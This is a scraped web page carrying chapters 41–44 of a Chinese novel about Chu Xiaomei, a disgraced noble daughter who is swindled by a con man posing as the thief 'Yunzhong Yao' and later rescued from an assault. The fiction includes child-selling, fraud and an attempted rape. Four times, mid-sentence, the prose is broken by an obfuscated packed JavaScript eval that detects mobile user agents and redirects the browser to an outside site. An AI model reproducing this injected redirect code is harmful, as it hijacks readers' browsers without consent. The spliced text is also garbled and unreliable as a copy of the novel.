“黑市其实也不是最好的选择。”青年解释道，“卖到黑市，一是会折价，二是来路不正的上等珍宝，普通的商贾也未必吃得下。 “所以，我给他推荐了天星阁。” 抱孩子的妇人询问：“天星阁是什么地方？” 青年悠悠道：“天星阁，可说是天下珍宝齐聚之处……” 天星阁，褚笑眉是再熟悉不过了。 不管是大雍还是西域的宝贝，从古董珍玩到明珠美玉，从奇花异草再到昆仑奴、新罗婢……无所不有，皆可竞价购买。 寻常金银之物，在此处是最卖不上价的，甚至都不配被抬进天星阁的大门。 “真有这么厉害吗？您是不是唬俺哩？” 见有人质疑，青年拍着胸脯保证：“要是我骗你们，就让我来世做狗，落进畜生道！” 似是为了继续说服其他人，青年继续道：“咱们京城民间流传着一句俗语，做爷娘的常跟孩儿说，‘你即便要天上的星星，我也愿意摘给你’。其实这个‘天上的星星’是讹传，原话指的就是天星阁。” 妇人问道：“这是怎么个说道？” 青年道：“曾经那位京城第一贵女——褚家娘子，你们都听说过吧？” 骤然被点名，褚笑眉听他说起自己的事，也不由得有了几分兴趣。 只听那青年口若悬河：“褚家娘子六七岁时，已是天星阁的常客，若碰上喜欢的物件，时常一掷千金。 后来在宴会上有人提及此事，委婉提醒褚惟庸太溺爱孩子。他却笑呵呵地把女儿抱进怀里，说：‘吾女乃掌珠，既求天星诸物，吾必予之。’ 这番疼爱子女的慈父之言，一传十十传百，就传成了我刚刚说的那句话。” 褚笑眉奇道：“你是怎么知道的？” 青年笑道：“虽然我只是个乞丐，但我们这种常年在街头巷尾晃荡的，消息才最灵通。” “你别听他胡咧咧，说得跟亲眼见到的一样。”瘸子嗤笑出声，“权贵家的事，他怎么可能清楚？我看啊，他这张嘴只会吹牛皮。” 青年道：“你不信就算了，少来污蔑我。” 褚笑眉无意再参与他们的争论，只在心中默默记下：天星阁、黑市，这两条销赃的途径。 要查“云中鹞”，不妨从此入手。 沿着朱雀大街向北走，于一座三层楼阁前停下。屋顶样式是从西域传来的盔顶，像是一朵垂坠的铃兰花，正中立着葫芦形琉璃宝顶。额坊上彩绘着八仙与四神，牌匾金漆“天星阁”的字样。 绝大多数人活一辈子，也无缘一睹阁中的豪奢场面。唯有权贵、富商之流，才可进入其中，参与竞价。 褚笑眉如今也不能进去。一是她眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15736473|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下并无身家，二是江铭正在满京城找她，天星阁的人又识得她，她不想暴露行迹。 她蹲守在街上，打算碰碰运气。 直到一个手执折扇的白衣人吸引了她的目光。 此人身上有三怪：其一，他进去时随身带着包裹，出来时却是两手空空；其二，天星阁每日的竞价于午后开始，而眼下才到辰时，他现在离开，显然不是买家；其三，他那身绸衫用的是生丝，而非熟丝，价格更低，质地更硬，想来并非大富大贵之人，绝不可能逛得起天星阁。 褚笑眉怀疑，他便是前来销赃的“云中鹞”。她隐在人群中，悄然跟上去。 白衣人琼姿皎皎，玉影翩翩，那身并不名贵的衣裳，竟被他穿出了风流公子的潇洒之态。 他游手好闲，这里瞅瞅，那里瞧瞧。折扇一展，露出其上“明月清风”的狂草。 “爷，看看我这个女儿吧！水灵得很，带回去暖榻也使得！”一名瘦削男子将女孩往前一推，阻住了白衣人的去路。 女孩发间插着一根草，瘦得令人心惊，将头摇得跟拨浪鼓一样：“爷，别买我……” 男子厉声喝止：“闭嘴！你这只会张嘴等吃的赔钱货！家里都揭不开锅了，想拖死我们一家人不成？” 女孩骤然红了眼圈，带着哭腔央求：“爷，求您别买下我。阿爷好赌，家里的钱是他输光的，他卖掉了我，接下来就要卖阿弟阿妹了。” 白衣人却恍若未闻，直直向男子问道：“多少钱？” “我这闺女长得清秀，而且还勤快能干活！”男子试探道，“您就给八两银子，怎么样？” 褚笑眉在心中冷哼：此人方才还嫌弃女儿只会张嘴等吃，如今要卖上价，倒说起她勤快能干了。 白衣人也不讨价还价，直接将银子递过去：“好，就八两。” 男子乐得合不拢嘴，把钱塞进一个破破烂烂的藏蓝荷包里，又把荷包藏进怀里：“您真是爽快人！” 二人正交付身契，女孩被迫摁了手印，掩面而泣，瘦弱的肩头不断抽动。 男子头也不回地离开，似乎对自己的亲生女儿没有丝毫留恋，背影消失在街角。 女孩目送许久，抬手抹了把眼泪，终于决然地跪下：“爷，往后奴就是您的人了。” “别！你可千万别跟着我。我习惯了逍遥自在，不喜欢带着人。”白衣人将身契塞进她手中，又递给她一个破破烂烂的藏蓝荷包。 那荷包褚笑眉看着眼熟……等等！那不正是方才那个卖儿鬻女的男子身上的吗？ 女孩错愕道：“这……” 白衣人道：“从你爹身上摸来的，不必谢我。” 女孩急忙拆开荷包：“好歹要把您的八两银子还您……” “你自己留着吧。”白衣人仰天笑道，“早日找到立身之本，解救你阿弟阿妹，方是长久之计。” 褚笑眉心头一震，想不到此人买下这个女孩，竟是这般用意。 白衣人收敛了笑容，目光穿过来往的路人，直直投向褚笑眉的方向，扬声道：“姑娘跟了我一路，如今也该现身了吧？” 眼看行踪暴露，褚笑眉只得上前：“郎君倒是敏锐。我没有恶意，只是想问一问您，您可是侠盗‘云中鹞’？” 42. 第 42 章 “啪”的一声，白衣人合上折扇，扇骨在掌心轻敲，似浪荡公子般漫不经心。 “‘云中鹞’？”他玩味地重复，凤眸噙着半真半假的笑意，“子虚乌有的江湖传闻罢了，姑娘连这也信？” “郎君不必装傻。我既然跟了过来，心中已有□□成把握。”褚笑眉道，“你偷了童侍郎府上的十样珍宝，刚刚又去了天星阁销赃，是也不是？” 白衣人微微一怔：“姑娘倒是好本事，连官府都查不到的人，竟能教你查到。” “听说天底下没有你偷不到的东西……”褚笑眉福身行礼，言辞恳切，“我想请郎君帮忙，为我取一样信物。” 白衣人道：“姑娘既听过我的名号，想必应当知晓——我只劫富济贫，并不多管闲事。” “劫富济贫本就是在多管闲事。我可以付佣金，郎君拿我的钱去救济穷人，也是一样的道理。” 白衣人勾起唇角：“这说法倒有趣。你能出得起多少钱？” “我身上有九两银子……” “区区九两？”白衣人嗤笑出声，转身欲走。 “附加刑部尚书府上的地图。我画给你，你可以去把私库搬空。” 白衣人顿住了脚步。他回过身，狐疑地打量着褚笑眉：“你当真知晓尚书府的布局？” “当真，我闭着眼都能画出来。”褚笑眉垂眸苦笑，“郎君若不信我，可以先暂时保管我的信物，待从尚书府行窃成功后，再将信物予我。” 白衣人沉吟片刻，终是应允道：“说吧，你要我为你取什么？” “被查封的褚宅书房之中，有一个暗格，开启方法是……”褚笑眉将小臣所说的诸多细节，一一转述与他。 “我知道你是谁了。”白衣人的折扇抵上了褚笑眉的肩头，轻轻抚平她衣料的褶皱，“前吏部尚书褚惟庸的长女，今刑部尚书江铭的妻子……曾经的京城第一贵女，怎么沦落到了这番境地？” “你知道我？” “姑娘的名声大得很，想不知道都难。”白衣人道，“难怪刑部新发了政令，要抓没有身份路引的人，原来是在找你。” 他轻轻一笑，扇尖转而移至褚笑眉的下巴，往上一扬，抬起了她的脸：“虽然弄得脏兮兮的，但看得出来确实是富家女。你说……我要不要把你直接送到官府，去换赏钱？” 褚笑眉拨开了他的折扇，毫不回避地与他对视：“你不会。” “我为什么不会？” “你一个江洋大盗，真要与我一同去了官府，指不定是谁拿谁换赏钱呢。” 白衣人大笑出声：“姑娘倒有几分聪明。有趣，有趣。银子给我做定金，你这活儿——我接了。” 褚笑眉将那九两银子交与他，心中的一块大石终于落地：“侠盗‘云中鹞’果真名不虚传，我等着你的好消息。事成之后，我到何处寻你？” 白衣人掂了掂银两的重量，嘱咐道：“我今夜就去褚宅；明日此时，在此相见——别忘了你允诺过的江府地图。” “绝不食言。只是我手头没有笔墨纸砚……” “连这都想不到办法？”白衣人打断了她，“那你我的交易也不必做了。” 褚笑眉抿了抿唇：“我知道了。” 她原本想到街边的店铺借一下纸笔，但连问了四五家，店主甚至都不识字，自然也就没有文房之物； 好容易寻到大商铺，铺中雇了个账房先生，先生忙着算账，不耐烦地向她挥了挥手，警告她“别捣乱”。 罢了罢了，她自己去买些笔墨还不行吗？ 她此前将碎银兑了铜钱，加上孟珵单给她的五十三文，除去这几日的吃饭花销，还剩二百一十八文。 二百一十八文，这可不是个小数目。要知道在长安城中，一张胡麻饼才卖三文钱，一升黄酒也只十文钱。 即便她购置纸笔花去一些，想必还能有不少富余…… 褚笑眉踏上了学馆街，这是京中最大的私学崇儒书院所在的街道。眼下不是上下学的时辰，街上冷清得很。 沿街开着售卖文房用品、古董字画的小店，其中几家店的老板正在吃饭，臊子面、炊饼等食物的香气被风吹过来，勾得她腹中馋虫活动，饥肠辘辘。 她走进去问价：“老板，笔墨纸砚怎么卖？最便宜的就行。” 老板嚼着嘴里的烧饼，含糊不清地回答：“羊毫笔十文，松烟墨三十文，麻纸五十文，石砚一百文。” “这么贵？”褚笑眉瞠目结舌，这一套下来，几乎得花去她的全部身家。“那个……老板，商量个事儿啊。我能不能借用一下你家的纸笔，画一张地图，我给您二十文作感谢费？” 老板皱起了眉头：“我这麻纸都是捆好的，一沓五十张，你拿走一张，剩下的怎么办？而且墨锭也是崭新的，被你用过，更没法卖了。” “求您通融通融——”褚笑眉软语相央，故意把自己说得分外可怜，“我父母都死了，只剩下一个重病的弟弟。钱都给阿弟买药用光了，我们姊弟俩好几日没吃饭了，阿弟昨夜还发起了高热。 “好不容易遇到一个好心人，他想去的地方我正好熟悉。只要我把地图画给他，他就给我买药钱。大哥，我阿弟的病实在是不能再拖了，救人一命胜造……” “行了行了，”老板的神情有所松动，“我是个生意人，赔本的买卖我是不会做的。不过我可以给你出个别的主意。” “您请说。” “何必非得买笔墨纸砚？你去扒一块树皮做纸，将木棍烧焦了做笔，不就行了？”老板睨她一眼，“你小时候从没这么画画玩吗？” 文房四宝对普通人家而言过于昂贵，小孩们并不需要读书识字。若是想要画画玩，要么用树枝直接在沙地上画；要么就如老板所说，以木炭为笔，以树皮为纸。 但褚家可不缺钱，笔墨纸砚，从来都是用最上乘的。故而这些民间法子，她一样也不知晓。 褚笑眉眼前一亮，连忙感激道：“多谢老板！” 准备好了江宅地图，又过了一夜，褚笑眉前往赴约，等待“云中鹞”的到来。 他们约好的是巳时，褚笑眉提前了一刻钟到达。可一直等到正午、再等到日头西斜，始终没有出现“云中鹞”的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15839760|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身影。 难道是出了什么意外？还是“云中鹞”记错了他们约定的时间？ 一连好几日，褚笑眉都过来等待…… 她已付给对方九两银子，却自此石沉大海，半点水花也没有。 ——她想到了一种最差的可能性，那人不会是个骗子吧？ 是骗子又如何？她如今正在东躲西藏，还敢报官不成？偌大个京城，茫茫人海中，她更不可能找到对方。 只能自认倒霉。 由于刑部颁发的新令，住宿、雇工都需要身份凭证，她没法做工挣钱。身上剩余的铜钱，也一天天地见少了。 江铭一定是觉得，这样就能逼她回去。 他知道她被褚家惯得有多娇气：日日都要沐浴更衣，稍微粗劣些的茶点饮食一口都不肯碰，脏的地方都会绕路走…… 恨是足以改变一个人的。 牢狱中小臣被重病催折的虚弱狼狈，行刑那日被关在江府的无能为力，江铭那副伪善的嘴脸，阴云般时时刻刻笼罩在她头顶。 恨意被淬炼得愈发锋利。在毁掉仇人之前，先打磨出自己。 她其实想过，要是钱真的花完了怎么办——大不了在垃圾堆里捡个破碗，跟桥洞里的邻居一样，寻个地方乞讨去。 她看着水里自己的倒影，颇为满意。如今这副脏乱模样，大概还真能讨到钱。 快到宵禁的时辰了，街上的人渐渐稀少，她也得尽快回去。 醉汉踉踉跄跄地迎面走来，酸臭的酒气隔着三四丈都能闻到。褚笑眉嫌恶地捂住口鼻，加快了脚步。 “你捂鼻子做什么？自己身上都脏成这样了……还有脸嫌老子臭？”醉汉一把拽住了她，“老子今天喝的绿腰春，上等的好酒！不识货的娘们！” “滚开！”褚笑眉抬腿向他下身踹去。 醉汉却将她重重一推。她此时单脚站立，本就下盘不稳，被推得重重跌坐在地。 醉汉骑在她身上，抬手扇了一巴掌，打得她头晕目眩：“脾气还挺烈！老子就喜欢驯你这种野马。” 褚笑眉口中尝到了腥甜的血气，肥硕的身躯压得她动弹不得。 醉汉撕开了她蔽体的衣物：“算你走运！今天老子让你尝尝男人的滋味！” 在他凑上来时，褚笑眉偏过头，死死咬住了他颈侧。 皮肉几乎是瞬间就在她齿间破开，汗味、酒臭、血味一齐涌进她嘴里，呛得她几欲作呕。 醉汉吃痛地大叫一声，拽着她的头发往外扯。见她不肯松口，又重重一拳砸上她额角。 褚笑眉被打得头脑发懵，耳边嗡嗡作响，仍拼尽全力地去撕咬——要么是这王八犊子打死她，要么就是她咬开这混球的咽喉。 厮杀间，醉汉捶打她的力道忽地一松，躯体如同一座肉山，瘫软着压了下来。而后她听见了一个熟悉的声音： “姑娘，松口，再咬下去就出人命了。” 青年将手中的石头丢开——他方才正是用这个敲晕了醉汉。 褚笑眉费力地把醉汉掀到一旁，看见青年的脸时，登时怒气上涌：“是你？！” 43. 第 43 章 眼前的青年眉目疏朗、丰姿潇洒，虽换了身布衣短打，并非上回见面时的翩翩白衣，褚笑眉仍一眼就认了出来——正是那骗走了她九两银子的“云中鹞”。 她一把揪住了青年的衣领：“你这个骗子，竟然还敢露面？！” 青年被这样逼问，仍是一副气定神闲之态，屈指轻轻敲了敲她的手背：“我刚刚毕竟救了你，你就这样对待自己的恩人？” 褚笑眉冷哼一声，松开了他：“你根本不是‘云中鹞’，对不对？” “我早提醒过姑娘了。”青年一面整理被扯乱的衣襟，一面答道，“我说过，这是子虚乌有的江湖传闻。我也说过，连官府都查不到的人，怎能教你查到。” 他笑了笑：“话都说到这份上了，姑娘仍不去细想。上当受骗了，难道不该怨自己蠢么？” 褚笑眉朝他伸出手：“把钱还我！” “不还。”青年拨开她的手，“我凭本事骗来的，凭什么还你？” 褚笑眉威胁道：“你若是不肯还我，我就去报官！” “你不敢报官。” “笑话！我又没有作奸犯科，为什么不敢？” 青年望向她，微微勾起唇角：“你是褚家的女儿。江尚书亲手把褚家人送进刑部大狱，以致你家破人亡，你已和他不死不休。他满京城地寻你，你在外头过得这样苦，都不肯向他低头。 “你又怎会为了区区九两银子暴露行迹，重新落入他的手掌心？” 褚笑眉冷笑道：“你知道的倒不少。” “承蒙夸奖。”青年道，“姑娘不妨重新与我认识一番——我真正的名字，叫万事通。” “万事通？怎会有人叫这么奇怪的名字？”褚笑眉面露狐疑，“你不会又编了个名头来诓我吧？” “你身上还有值得我骗的东西？” 褚笑眉沉默了。 万事通的神色忽然前所未有的认真起来：“姑娘若还有疑虑，烦请暂且先放一放。我现下有万分要紧的事要做。” 只见他蹲下身，在醉汉身上摸索。摸完全身，找到了些许铜钱，放在掌心数了数，一共三十八文。他轻啧一声：“才这么点。”虽然话里嫌少，却也没妨碍他把钱全揣进兜里。 褚笑眉惊得瞪大了眼：“这就是你说的万分要紧的事？” 万事通理所当然道：“人为财死，鸟为食亡。生死攸关，如何不算万分紧急？” “还没完呢。”他继续道，“麻烦姑娘背过身去。” 褚笑眉虽不明所以，却还是依言照做了。 只听一阵衣料的窸窣声，而后是清晰的水声。褚笑眉意识到了他在做什么，瞬间涨红了脸。 腥臊的尿液滋在醉汉的脸上，他猛地惊醒过来。看到眼前的青年悠然地抖了抖，重新系好腰带，醉汉登时现出怒色：“他奶奶的……” 还没来得及发作，万事通已踹了他一脚，重重踩在他胸口：“吼什么？知不知道你刚才动的女人是谁？” 他用手臂把褚笑眉勾了过来，虚虚拢着她：“这是我娘们！活得腻歪了？要老子喊人过来，跟你说道说道？” 这人在假扮云中鹞时，一副神秘高手的姿态；如今同这醉汉对上，又换上一副地痞流氓的面孔。 褚笑眉暗道精彩，此人不去唱戏还真是可惜了。 她配合地往万事通怀里一靠，撒娇道：“夫君，要是你再晚来一步，人家的清白就没有了。你要把你那二十几个兄弟都叫过来，狠狠地教训他一顿才行！” 她有意把“二十几个”咬得重些，说个大数目，帮忙造势恐吓对面。 果然，醉汉听说他们能叫来二十多个人，吓得脸色煞白，连连求饶：“哥……哦不，爷，您是我亲爷！我实在不知这位是尊夫人啊！我就是喝醉了酒，所以才……” “醉酒？那你现在怎么不醉了？”褚笑眉轻嗤道，“觉得我好欺负，就借着酒劲欺侮我；我夫君说要叫人来揍你，一下子就怂了，我看你清醒得很啊！” “姑奶奶，我真的知道错了……”醉汉重重扇了自己一巴掌，见她仍有愠色，又接连补了好几下，“我不是东西，我自己扇自己，我给您磕头也成！您就饶了我吧！” “饶了你也成，”万事通道，“不过嘛……” “您说！您说！有什么条件我都应！” “我夫人的衣服被你扯坏了，总得做套新的；还被你打伤了，看大夫也得花不少钱……” “都是我该赔的！”醉汉连忙道，“我身上没带那么多，这就回家去给您取！” 他觑了眼万事通的神情，小心翼翼地试探：“一贯钱……应该够了吧？” “一贯钱？你打发叫花子呢？”万事通冷声道，“我二十几个兄弟，一贯钱怎么分？” “那就三贯……不不不，五贯！”察觉到他面色不善，醉汉急忙改口，几乎要哭出来了，“再多我真没有了。” “行吧，就五贯。”万事通勉为其难地应下，松开揽着褚笑眉的手，低头向她叮嘱，“夫人先回家等我，我跟他去拿钱。” “不行！我同你一起！”褚笑眉好容易才抓着他，怕这人又跑路，连忙抱住了他手臂，“我舍不得跟夫君分开。” 醉汉忙不迭地奉承：“二位感情真好。” “那可不。”褚笑眉笑了笑，在万事通手臂内侧的软肉上拧了一把。 万事通疼得抽了口气，掰开她手指紧紧扣住：“夫人，为夫好感动。” 五贯钱到手，二人相携离开醉汉的住处。走得远了，褚笑眉才松开他：“你还真是骗人的行家。” “夫人的骗术也不赖。”万事通道，“二十几个兄弟？你平素是这样唬人的？” “既要唬住他，总得往多了说吧？” 万事通笑出了声：“谁告诉你——我只有二十几个兄弟？” “吹，继续吹。我若还上你的当，那真是笨得无可救药了。”褚笑眉睨他一眼，“你要真有那样广的人脉，何苦靠坑蒙拐骗谋生？” “来钱快啊。”万事通扔给她一贯钱，“喏，给你的分成。” “我不要你的脏钱，把我的九两银子还我！”褚笑眉把钱塞回给他，坚持道。 “脏钱？”万事通嗤笑出声，“我的钱再脏，也比你褚家的钱干净千万倍。” “你那九两银子早没了。真不要这钱？”他作势要收入怀中，“那我一起收着了。” “等等！”如今身无长物的窘境到底还是让褚笑眉屈服了，她拿回了那贯钱，“我要。” “这钱……应该不算很脏。”万事通放缓了语调，出言解释，“我不骗好人，只骗恶人。这算是劫富济贫。” “你骗了我的钱。我也是恶人？” 万事通低叹一声：“你是褚家人。” “褚家怎么了？” “姑娘这些日子流落街头，想必也体会过了，普通百姓的生活是什么样的。”万事通抬眸望向她，问道，“那你以前呢？你在褚家的时候，又是什么样的？ “良田豪宅、宝马香车、锦衣玉食……哪一样不是搜刮的民脂民膏？” “我阿爷是朝廷重臣……” “正因他是朝廷重臣——”万事通道，“旁人只能行小恶，而他，可作大恶。” “既觉得我是恶人，何必又要出手相救？直接让那醉汉欺侮我，岂非大快人心？” “你是那纸醉金迷、剥肤椎髓的贵女时，自然是恶人；可你方才……只是一个偶然路过的普通女子，不该被如此对待。” “但你骗了我钱，”褚笑眉道，“你就不怕有那么万分之一的可能，我真要抓你去报官？” “救人哪有不冒险的？”万事通笑道，“能救下人来，就算值得。” 褚笑眉的鼻头有些发酸，她移开眼，眸光晃动：“算了，看在你救了我的份上，那九两银子我不跟你要了。” 寂静夜色里，长昆卫的鼓声响了起来，震得人几乎连心脏也跟着颤动。 “就要宵禁了。”万事通轻声道，“姑娘今晚别睡桥洞了。我为你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15885724|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻个住处，好歹能有个屋顶。” 万事通住在长安城的西南角，此处算是京中的贫民窟。 褚笑眉从前来过这里一次，那时是叶渡领她来的，过来寻被靖国公剜了眼逐出府的孙六。 她当时嫌这个地方破败，走路时总小心翼翼地提着裙摆，唯恐沾染了脏污。如今露宿过几日，竟觉得能有个栖身之所，已是十分幸运了。 万事通停在一座老旧的瓦房前，叩响了门扉。 “稍等，这就来——”少女甜美的嗓音从屋内传来。只听一阵轻快的脚步声，而后她卸下门闩、吱呀一声拉开门，小雀般探出了头。 她未施粉黛，脸颊被晒得微微发黑，却愈发显出一种淳朴的清丽。 她笑得眉眼弯弯，笑容比声音还甜，眸子比天上的星辰还美：“万哥哥，你今日怎么有空……” 余光触及褚笑眉的瞬间，她脸上的笑意一僵：“这位是……” “是我的一位朋友。”万事通解释道，“在你这里借住些时日，可以吗？” 少女的脸色登时变得苍白，仍勉力维持着僵硬的微笑：“既然是你的嘱托，当然可以。” “那就好。”万事通不再看她，转身面向褚笑眉，将她凌乱的发丝理到耳后，亲密熟稔得像是相恋多年的情人。 他微微低下头，柔声同她叮嘱，声音不大，却足以让对面的少女也清晰地听见：“我毕竟是男子，你住在我家多有不便。幼蓉与我情同兄妹，她会照顾你的。我明日一早就来找你，好不好？” 褚笑眉被他突然改变的态度激得一阵恶寒，碍于有旁人在场，只得点头应下：“好。” 万事通又道：“给你的钱要收好，莫要再被奸人骗走了，嗯？” “嗯。”褚笑眉在心中暗骂，骗钱的那奸人不就是你吗？ 细细地叮嘱完，万事通终于舍得走了。 那少女望着他离开的背影，脸色青白一片，十分难看。 褚笑眉蓦地意识到，万事通好像把她置于了一个尴尬的境地。她试图说点什么来缓和气氛：“咳，那个……你叫幼蓉是吧？” “嗯，我姓唐，唐幼蓉。”少女回答完，转身向屋内走去。“姑娘跟我来吧。” 这是一间逼仄的居室，靠窗的墙边设着一个灶台，另一边摆着张窄小的木板床。 床上坐了个中年女子，正把手里的针线往身后藏。 “娘亲，烛火这么暗，都说了叫你不要做针线活了！我就出去这么一会儿，你怎么又缝上了！”唐幼蓉伸手去抢，看见女人被针扎破的指尖后，愈发气恼地拧紧了眉。 “我没事的。”女人局促地抽回手，目光落在褚笑眉身上。“你们方才说话时，我听见了几句，这位姑娘是小万的朋友，对吧？” 不等褚笑眉回答，女人又继续道：“小万这孩子心眼儿好，平日里帮了我们不少忙，我们难得有机会能回报一二。 “幼蓉，你去把另一套干净的被褥取来换上，让姑娘睡这里；再把草席铺上，我们打地铺……” “这怎么行？！”褚笑眉连忙推拒，“我到你们家来借住，已是叨扰了，我睡草席就好！” 女人道：“我瞧姑娘细皮嫩肉的，落魄前当是富贵人家的女儿，怎能受这种委屈？我们母女俩皮糙，这床本来也是小万为我们添置的，在此之前我们一直睡草席，早习惯了，姑娘就别推辞了。” “不行，断没有这样的道理。”褚笑眉坚持道，“您若执意如此，我立马就离开。” “这……”女人只得妥协，“好吧。” 褚笑眉在桥洞里睡了好些日子，即便只是草席，但于她而言已是极柔软舒适的床铺了。 她闭上眼，很快就沉沉睡去。 待她醒来时，女人早已出门去了。唐幼蓉放下了手里的针线，起身去灶边为她热粥。 少女眼下一片青黑，似乎昨夜睡得很差。 菜粥的咕噜声中，她终于忍不住开口询问： “你和万哥哥，究竟是什么关系？” 44. 第 44 章 她和万事通能有什么关系？骗子和被骗的苦主？ 她接过唐幼蓉递来的热粥，话音浮动在氤氲的雾气中：“只是萍水相逢罢了。” “姑娘拿我当傻子么？”唐幼蓉将铁勺“当”的一声扔回锅里，脸色更差了，“你们分明那样亲昵，还跟我说是萍水相逢？” 褚笑眉早看出来，唐幼蓉对万事通有意。她喝了一口粥，问道：“你既然想知道，昨晚为何不直接问他？反倒要趁着他不在的时候，来质问我？” “我……”唐幼蓉涨红了脸，一时被噎住。 “我知道你是怎么想的。”褚笑眉道，“你不敢让他察觉你在嫉妒，可嫉妒又实在将你灼烧得难以忍受。 “所以你迫切地想知道一个答案，想知道我和他是怎么相识的，想知道我同他经历了什么，想知道你究竟输在了哪里……是不是？” “是又怎么样？我就是嫉妒！”唐幼蓉攥紧了衣摆，用力到指节发白，眼眶却泛着红，“我知道你并没有做错什么，是我自己在无理取闹……” “你没有无理取闹。” “我有。”唐幼蓉眸中的泪光一晃，“他拒绝过我了……他说过他只是拿我当妹妹……我分明没有资格吃醋，但我就是……就是忍不住讨厌你……” “吃醋还需要资格？喜欢的人和旁人亲近，自然就会吃醋。”褚笑眉叹了口气，“你虽然讨厌我，可你仍然收留了我，还守在一旁等我醒来，给我煮热粥喝。 “唐姑娘，你对我很好。仅仅因为控制不住心中的厌恶，就这样苛责自己，你是要做圣人吗？” 唐幼蓉移开了眼，盯着灰扑扑的墙角：“用不着你来宽慰我！” “是是是，都怪我多嘴。”菜粥已喝得干干净净，褚笑眉捧着空碗，问道，“我该去哪里洗碗？” “给我就行。”唐幼蓉抢了过来，别扭地解释道，“咳，我是……是怕你摔坏了碗。” 她将碗筷放进锅里，连着锅一道端出门去。她年轻的身影承住了日光，在这破旧灰败的砖瓦间，像是一株亭亭的苇花。 万事通来了。唐幼蓉如常地同他打招呼，却在错身而过后，放缓了脚下的步子，回身望过来—— 只见他头也不回地走进屋内，俯身与褚笑眉说话，凑得极近。 “说过了一早就来找你的——”他清朗的笑声落进风里，“昨夜住的可习惯？” 褚笑眉向外看去，发觉唐幼蓉正死死盯着她，滚烫的目光几乎要把她身上烧出一个洞来。她无奈摇头，把声音压得极低：“又拿我当刀使？” 万事通也轻声道：“我知道姑娘有很多疑问。且随我来，我一一为你解答。” 青砖缝里嵌着些许杂草，也不知这样恶劣的境地，究竟是怎样长出来的。褚笑眉走在窄巷里，低着头踢飞了一粒石子：“第一个问题，你是怎么知道我在找‘云中鹞’的？” “因为‘云中鹞’的消息，就是我放给你的。” “你说什么？！”褚笑眉惊愕地抬起了眼，“可我听说这个名号，分明是在致远镖局……” “我们合谋的。”万事通道，“你那九两银子，他们抽走了五成。” “这样大名在外的镖局，为何要同你合谋？不怕此事败露，坏了自己名声吗？” “镖局该是什么名声？忠肝义胆、一诺千金？”万事通轻叹一声，“姑娘太天真了，九成以上的镖局，都在做养寇自重的事。” “养寇自重？什么意思？” “对贼寇围而不剿，故意留着他们，甚至与他们暗中勾结。毕竟——路途不太平，才需要走镖的人，不是吗？” “这……” “姑娘在褚家的日子过得太好，不懂得财不外露的道理。你拿出那九两银子，镖局的人就动了心思，所以当时他们让你稍候片刻，其实是来问我，这一单到底能不能接。” “问你？”褚笑眉上下打量了他一番，“他们为何要问你？你不就是个坑蒙拐骗的骗子吗？” “姑娘忘了我的名字？我叫万事通。”他笑吟吟答道，“长安城中，连哪处多了只猫、丢了条狗我都晓得，没有我不知道的事。 “我言明利害，告诉他们不可与官府作对，特别是……褚宅附近尚且有江尚书的人盯着。这么一来，不是把自己往刑部送吗？至于钱嘛，有别的法子可以取得。” “你的法子，就是诌个‘云中鹞’的故事骗我？” “不算是胡诌，江湖上确实有‘云中鹞’的传闻，也确实没人见过他的真面目。”万事通笑道，“我不过是借用了一下他的身份罢了。这也是一个难以识破的谎言，无论你去哪儿问，都能问到他的故事，当然不会对此起疑。” “你也就罢了，那些镖局的人就不怕我去报官，或者把此事传扬出去，坏了他们的名声？” 万事通眯起了眼，一字一句叩问：“你敢吗？江尚书的人可在找你，你恨不得藏到地底下去，哪敢这般高调行事？况且，只要我不再出现在你面前，你便永远不会知晓真相。” “但你出面了，为了救我。”褚笑眉道，“虽然你不是‘云中鹞’，但你和他还挺像的。他是侠盗，你是……侠义的骗子。” “哎，别给我扣高帽，我不侠义，我只图钱。” 褚笑眉想了想，又道：“我当时之所以去天星阁蹲你，是因为桥洞里的一个脸上有刺青的青年乞丐。他说他白日里遇到了一个人，那人向他打听销赃的地方，而他推荐了天星阁。 “那个青年乞丐，难道也是你的人？” “他不是都告诉你了吗？乞丐的消息是最灵通的。乞丐们需要钱，我需要消息，长久以来的利益交换罢了——不然你以为我凭什么做万事通？” “你这人还真挺可怕的。为了骗我钱，居然能做这么大一个局。” “不过是了解到你需要什么，对此给你提供些假消息。这只是骗术的基本手段，哪算得上什么做局？”万事通道，“是姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 